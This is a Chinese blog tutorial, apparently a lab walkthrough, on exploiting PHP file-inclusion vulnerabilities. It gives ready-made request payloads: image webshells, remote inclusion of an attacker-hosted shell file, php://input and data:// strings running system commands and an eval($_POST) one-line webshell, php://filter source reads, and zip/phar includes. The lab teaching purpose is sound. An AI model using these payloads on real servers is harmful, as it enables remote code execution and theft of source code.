文件包含漏洞——实例
一、文件包含漏洞利用之本地包含配合文件上传包含图片马
原理:
文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:
- 在图片后写入脚本代码
- 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
1、制作图片马,准备一个PHP脚本和一张图片
2、访问在浏览器中访问靶机:http://ip/up/up.html
3、上传图片马,图片马成功上传
4、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
5、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析
可以把脚本改成一句话木马,与菜刀连用,入侵靶机
二、文件包含漏洞利用之远程包含Webshell
原理:
本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、打开"phpStudy",启动操作机的Apache服务
3、在操作机的Web根目录下新建shell.txt文件
4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析
5、利用中国菜刀,在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
6、点击“添加”,双击一句话木马地址
注:在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。
三、PHP封装伪协议之php流input
原理:
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=php://input
3、勾选"Post data",在提交post数据的位置输入"<?php phpinfo();?>",并发送数据执行
4、发送"<?php system(‘dir’);?>"数据执行系统命令
5、发送"<?php system(‘whoami’);?>"数据执行系统命令
6、发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件
7、访问http://ip/include/include.php?page=shell.php
注:利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。
四、PHP封装伪协议之php流filter
原理: 利用php流的filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。获取敏感信息。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=php://filter/read=convert.base64-encode/resource=include.php
3、复制读取到的base64编码后的源码,借助火狐插件的base64解码功能(或者base64解码工具)
4、点击"确定",进行base64解码,可以读取指定文件的源码
注:利用PHP封装伪协议中的php流filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。也可以利用?page=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。虽然不能直接获取shell,但是读取敏感文件也是有很大危害的。
五、PHP封装伪协议之zip流
原理:利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。
1、新建info.txt文件
2、对info.txt文件进行zip压缩
3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
4、点击“选择文件”按钮,选中要上传的文件
5、点击“submit”按钮,上传info.zip文件
6、访问http://ip/include/include.php
7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径
8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt
注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。
六、PHP封装伪协议之data流
原理:利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行
3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行
5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马
6、打开菜刀,在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
7、点击“添加”,双击一句话木马地址
注:利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。
七、PHP封装伪协议之phar流
跟zip流相似,但是路径相对跟绝对都行
原理:利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。
1、新建info.txt文件
2、对info.txt文件进行zip压缩
3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
4、点击“选择文件”按钮,选中要上传的文件
5、点击“submit”按钮,上传info.zip文件
6、访问http://ip/include/include.php
7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径
8、访问http://ip/include/include.php?page=phar://C:/server/apache22/htdocs/up/upload/info.zip/info.txt或者http://ip/include/include.php?page=phar://…/up/upload/info.zip/info.txt
注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。
php流的用法表
这篇文章就写到这里了!
文件包含漏洞——实例相关推荐
- 文件包含漏洞实例操作
文件包含漏洞实例操作 参考文章 本地文件包含漏洞 无限制本地文件包含漏洞 session文件包含漏洞 有限制本地文件包含漏洞 %00截断 路径长度截断 点号截断 远程文件包含漏洞 无限制远程文件包含漏 ...
- 文件包含漏洞(LFI、RFI)(require()、include()函数)
文章目录 一.文件包含漏洞分类 二.文件包含漏洞原理 三.文件包含函数 四.测试是否存在本地文件包含(LFI)漏洞 五.文件包含漏洞实例 "百度杯"CTF比赛 2017 二月场in ...
- 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例
目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...
- index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- 网络安全——文件包含漏洞
一.文件包含 1.什么是文件包含? 把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,无需多次编写函数. 2.文件包含漏洞 原理: 利用条件: include等函数通过动态执行变 ...
- 文件操作之文件包含漏洞
目录 本文仅供参考.交流.学习,如有违法行为后果自负 文件包含类型 原理方面 文件包含漏洞原理案例: 必要条件 那么如何去检测漏洞是否存在该漏洞? 白盒 黑盒 类型 本地文件包含 无限制 有限制 远程 ...
- CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析
title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...
- 【文件包含漏洞-01】文件包含漏洞成因与其包含语句及其相关配置
文件包含 概述:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含. 程序开发人员都希望代码更加灵活,所以通常会把被 ...
最新文章
- No module named ‘fvcore.nn.distributed‘
- Postman使用方法示例
- mysql--字段--索引的增删改查
- Jquery-core.holdReady()
- css3如何向上_html5 – 使用CSS3不断向上动画气泡?
- c语言字符加密向后四位_Base64加密?它只是一种编码算法,切勿用来加密
- 2019年,ALEXA将会走向何方?
- 如何为运行的 ARM Linux 启用 LAD2.3 版本的诊断扩展
- 具有亲和力的文字隐藏方法
- Charles 映射本地文件map local
- 过年用计算机弹奏,过年实用,你可能需要的亲戚称呼计算器
- python组合数据类型包括_第六周 python组合数据类型
- notepad++中文版下载
- 使用xftp怎么向服务器传输文件,如何使用文件传输软件Xftp
- 永远的七日之都服务器维护,永远的7日之都5月23日更新内容 七日之都5.23更新公告...
- Kitkat中对class core, class main, class late_start的简单分析
- 计算机文档打不开是什么原因,电脑文件打不开怎么回事
- android AP热点(wifi热点)开发
- 一文说透安全沙箱技术
- Hack The Box——Omni
热门文章
- 项目管理高手常用的10种图表!
- 怎么在一台电脑上同时打开运行两个微信号
- 零基础入门小程序,实战经验分享
- 安装Phoenix时,执行./splline.py报错File “./sqlline.py“, line 25, in <module> import phoenix_utils File
- C语言 正序输出数字
- 阿里云视频点播上传与url播放
- 2020 12-23 视觉组作业
- Word中怎么用MathType编辑公式
- 【Mac 系列】Mac安装Mysql
- 软件开发中 前台、中台、后台英文_实战思考(一):如何搭建业务中台?